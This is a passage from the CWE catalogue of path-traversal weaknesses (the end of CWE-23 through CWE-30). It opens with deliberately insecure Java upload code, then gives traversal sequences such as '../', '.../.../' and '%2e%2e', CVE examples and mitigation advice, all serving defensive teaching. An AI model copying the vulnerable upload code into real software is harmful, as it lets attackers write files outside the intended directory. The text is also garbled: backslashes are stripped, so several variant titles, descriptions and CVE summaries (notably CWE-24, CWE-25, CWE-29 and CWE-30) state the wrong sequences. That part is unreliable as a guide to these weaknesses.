        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("."));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                }
                //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
    ...
}
```

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use `"../"` sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

Reference	Description
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using <code>"../"</code> sequences (CWE-24) https://www.cve.org/CVERecord?id=CVE-2022-45918
CVE-2019-20916	Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as <code>"../"</code> https://www.cve.org/CVERecord?id=CVE-2019-20916

Reference	Description
CVE-2022-24877	directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via ../ sequences in a yaml file https://www.cve.org/CVERecord?id=CVE-2022-24877
CVE-2020-4053	a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory https://www.cve.org/CVERecord?id=CVE-2020-4053
CVE-2021-21972	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses ../ path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-21972
CVE-2019-10743	Go-based archive library allows extraction of files to locations outside of the target folder with "../" path traversal sequences in filenames in a zip file, aka "Zip Slip" https://www.cve.org/CVERecord?id=CVE-2019-10743
CVE-2002-0298	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "../" sequences, or several "../" in a URI. https://www.cve.org/CVERecord?id=CVE-2002-0298
CVE-2002-0661	"\" not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes. https://www.cve.org/CVERecord?id=CVE-2002-0661
CVE-2002-0946	Arbitrary files may be read files via ../ (dot dot) sequences in an HTTP request. https://www.cve.org/CVERecord?id=CVE-2002-0946
CVE-2002-1042	Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "../" sequences in queries. https://www.cve.org/CVERecord?id=CVE-2002-1042
CVE-2002-1209	Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "../" sequences in a GET request. https://www.cve.org/CVERecord?id=CVE-2002-1209
CVE-2002-1178	Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "../" sequences in an HTTP request. https://www.cve.org/CVERecord?id=CVE-2002-1178
CVE-2002-1987	Protection mechanism checks for "/" but doesn't account for Windows-specific "\" allowing read of arbitrary files. https://www.cve.org/CVERecord?id=CVE-2002-1987
CVE-2005-2142	Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\" sequence in an LS command. https://www.cve.org/CVERecord?id=CVE-2005-2142
CVE-2002-0160	The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\" sequence in the URL to port 2002. https://www.cve.org/CVERecord?id=CVE-2002-0160
CVE-2001-0467	"\" in web server https://www.cve.org/CVERecord?id=CVE-2001-0467
CVE-2001-0963	"..." in cd command in FTP server https://www.cve.org/CVERecord?id=CVE-2001-0963
CVE-2001-1193	"..." in cd command in FTP server https://www.cve.org/CVERecord?id=CVE-2001-1193
CVE-2001-1131	"..." in cd command in FTP server https://www.cve.org/CVERecord?id=CVE-2001-1131

Reference	Description
CVE-2001-0480	read of arbitrary files and directories using GET or CD with "." in Windows-based FTP server. https://www.cve.org/CVERecord?id=CVE-2001-0480
CVE-2002-0288	read files using "." and Unicode-encoded "/" or "\" characters in the URL. https://www.cve.org/CVERecord?id=CVE-2002-0288
CVE-2003-0313	Directory listing of web server using "." https://www.cve.org/CVERecord?id=CVE-2003-0313
CVE-2005-1658	Triple dot https://www.cve.org/CVERecord?id=CVE-2005-1658
CVE-2000-0240	read files via "/...../" in URL https://www.cve.org/CVERecord?id=CVE-2000-0240
CVE-2000-0773	read files via "...." in web server https://www.cve.org/CVERecord?id=CVE-2000-0773
CVE-1999-1082	read files via "....." in web server (doubled triple dot?) https://www.cve.org/CVERecord?id=CVE-1999-1082
CVE-2004-2121	read files via "....." in web server (doubled triple dot?) https://www.cve.org/CVERecord?id=CVE-2004-2121
CVE-2001-0491	multiple attacks using "..", "...", and "...." in different commands https://www.cve.org/CVERecord?id=CVE-2001-0491
CVE-2001-0615	".." or "...." in chat server https://www.cve.org/CVERecord?id=CVE-2001-0615
CVE-2005-2169	chain: ".../.../" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal. https://www.cve.org/CVERecord?id=CVE-2005-2169
CVE-2005-0202	".../.../" bypasses regexp's that remove "../" and "../" https://www.cve.org/CVERecord?id=CVE-2005-0202
CVE-2004-1670	Mail server allows remote attackers to create arbitrary directories via a "." or rename arbitrary files via a "..../" in user supplied parameters. https://www.cve.org/CVERecord?id=CVE-2004-1670

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Relative Path Traversal
Software Fault Patterns	SFP16		Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
76	Manipulating Web Input to File System Calls
139	Relative Path Traversal

References

[REF-192]OWASP. "OWASP Attack listing". < http://www.owasp.org/index.php/Relative_Path_Traversal >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1282]Snyk. "Zip Slip Vulnerability". 2018 June 5. < <https://security.snyk.io/research/zip-slip-vulnerability> >.

CWE-24: Path Traversal: '..../filedir'

Weakness ID : 24

Structure : Simple

Abstraction : Variant

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The "../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	46

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the

full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation



Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24) https://www.cve.org/CVERecord?id=CVE-2022-45918

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'../filedir'
Software Fault Patterns	SFP16		Path Traversal

CWE-25: Path Traversal: '/../filedir'

Weakness ID : 25

Structure : Simple

Abstraction : Variant

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Sometimes a program checks for "../" at the beginning of the input, so a "../" can bypass that check.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	46

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation*Strategy = Input Validation*


Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2022-20775	A cloud management tool allows attackers to bypass the restricted shell using path traversal sequences like "../" in the USER environment variable. https://www.cve.org/CVERecord?id=CVE-2022-20775

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'../filedir
Software Fault Patterns	SFP16		Path Traversal

CWE-26: Path Traversal: '/dir/../../filename'**Weakness ID** : 26**Structure** : Simple**Abstraction** : Variant**Description**

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../../filename" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '/dir/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "../" at the beginning of the input, so a "../" can bypass that check.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	46

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Web Server (*Prevalence = Often*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.



Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/directory/../../filename
Software Fault Patterns	SFP16		Path Traversal

CWE-27: Path Traversal: 'dir/../../filename'

Weakness ID : 27

Structure : Simple

Abstraction : Variant

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	46

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if

the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation



Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0298	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "../" sequences, or several "../" in a URI. https://www.cve.org/CVERecord?id=CVE-2002-0298

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'directory/../../filename
Software Fault Patterns	SFP16		Path Traversal

CWE-28: Path Traversal: '..\filedir'

Weakness ID : 28

Structure : Simple

Abstraction : Variant

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..\" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..\' manipulation is the canonical manipulation for operating systems that use "\" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	46

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0661	"\" not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes. https://www.cve.org/CVERecord?id=CVE-2002-0661
CVE-2002-0946	Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request. https://www.cve.org/CVERecord?id=CVE-2002-0946
CVE-2002-1042	Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries. https://www.cve.org/CVERecord?id=CVE-2002-1042
CVE-2002-1209	Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request. https://www.cve.org/CVERecord?id=CVE-2002-1209
CVE-2002-1178	Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request. https://www.cve.org/CVERecord?id=CVE-2002-1178

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'..\filename' ('dot dot backslash')
Software Fault Patterns	SFP16		Path Traversal

CWE-29: Path Traversal: '..\filename'**Weakness ID :** 29**Structure :** Simple**Abstraction :** Variant**Description**

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-25, except using "\" instead of "/". Sometimes a program checks for "..\" at the beginning of the input, so a "..\" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	46

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating System : Windows (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same

input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-1987	Protection mechanism checks for "/" but doesn't account for Windows-specific "." allowing read of arbitrary files. https://www.cve.org/CVERecord?id=CVE-2002-1987
CVE-2005-2142	Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "." sequence in an LS command. https://www.cve.org/CVERecord?id=CVE-2005-2142

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'..\filename' ('leading dot dot backslash')
Software Fault Patterns	SFP16		Path Traversal

CWE-30: Path Traversal: '..\filename'

Weakness ID : 30

Structure : Simple

Abstraction : Variant

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-26, except using "." instead of "/". The '..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "." at the beginning of the input, so a "..\" can bypass that check.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	46

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

